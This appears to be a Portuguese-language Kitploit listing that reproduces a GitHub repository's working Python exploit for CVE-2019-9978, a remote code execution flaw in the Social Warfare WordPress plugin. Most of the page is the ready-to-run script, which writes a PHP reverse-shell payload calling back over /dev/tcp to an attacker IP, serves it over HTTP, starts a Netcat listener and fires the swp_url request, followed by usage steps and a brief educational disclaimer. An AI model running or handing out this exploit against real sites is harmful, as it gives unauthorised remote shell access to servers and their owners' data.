Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE — O parâmetro `swp_debug` em `admin-post.php` permite que atacantes remotos incluam arquivos externos contendo código PHP malicioso, que são executados no servidor. Ao fornecer uma URL manipulada que hospeda um payload de reverse shell, um atacante pode obter execução de comandos. | Kitploit
Ferramentas/GitHubGitHub/housma/cve-2019-9978-social-warfare-wordpress-plugin-rce
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed TeamingFerramenta de Acesso Remoto

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
housma/cve-2019-9978-social-warfare-wordpress-plugin-rce

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

O parâmetro `swp_debug` em `admin-post.php` permite que atacantes remotos incluam arquivos externos contendo código PHP malicioso, que são executados no servidor. Ao fornecer uma URL manipulada que hospeda um payload de reverse shell, um atacante pode obter execução de comandos.

Ver Repositório
há 1 anoAinda não revisado

CVE-2019-9978 - RCE no Plugin Social Warfare do WordPress

Este repositório contém um exploit funcional em Python para CVE-2019-9978, uma vulnerabilidade de execução remota de código no plugin Social Warfare para WordPress (versão <= 3.5.2).

Descrição

O parâmetro swp_debug em admin-post.php permite que atacantes remotos incluam arquivos externos contendo código PHP malicioso, que são avaliados no servidor. Ao fornecer uma URL manipulada que hospeda um payload de reverse shell, um atacante pode obter execução de comandos.

Funcionalidades do Exploit

  • Hospeda um payload PHP usando o servidor HTTP embutido do Python.
  • Envia um parâmetro malicioso swp_url para disparar RCE.
  • Inicia um listener Netcat para capturar o reverse shell.
  • Escreve automaticamente o payload com o escape correto para execução bem-sucedida do código.

Requisitos

  • Python 3.x
  • Netcat
  • Resolução DNS local para o domínio alvo (ex: example.com mapeado para o IP alvo)

Código do Exploit

root@kitploit:~
#!/usr/bin/env python3

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130"  # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"

def create_payload():
    """Write exact reverse shell payload using valid PHP syntax"""
    payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] Payload written to {PAYLOAD_FILE}")

def start_http_server():
    """Serve payload over HTTP"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP server running at port {HTTP_PORT}")
        httpd.serve_forever()

def start_listener():
    """Start Netcat listener"""
    print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])

def send_exploit():
    """Trigger the exploit with vulnerable parameter"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] Sending exploit: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass

def main():
    create_payload()

    # Start web server in background
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # Give server time to start

    # Start listener in background
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # Send the malicious request
    send_exploit()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] Interrupted by user.")

Uso

  1. Atualize ATTACKER_IP e LISTEN_PORT para o IP da sua máquina e porta desejada.
  2. Certifique-se de que o alvo resolva example.com para o IP correto.
  3. Execute o script:
root@kitploit:~
python3 exploit.py
  1. Capture o reverse shell no seu listener.

Referências

  • https://nvd.nist.gov/vuln/detail/CVE-2019-9978
  • https://github.com/hash3liZer/CVE-2019-9978

Aviso Legal

Este exploit é fornecido apenas para fins educacionais. Não o utilize sem permissão explícita em qualquer sistema que você não possua.

Baixar ferramenta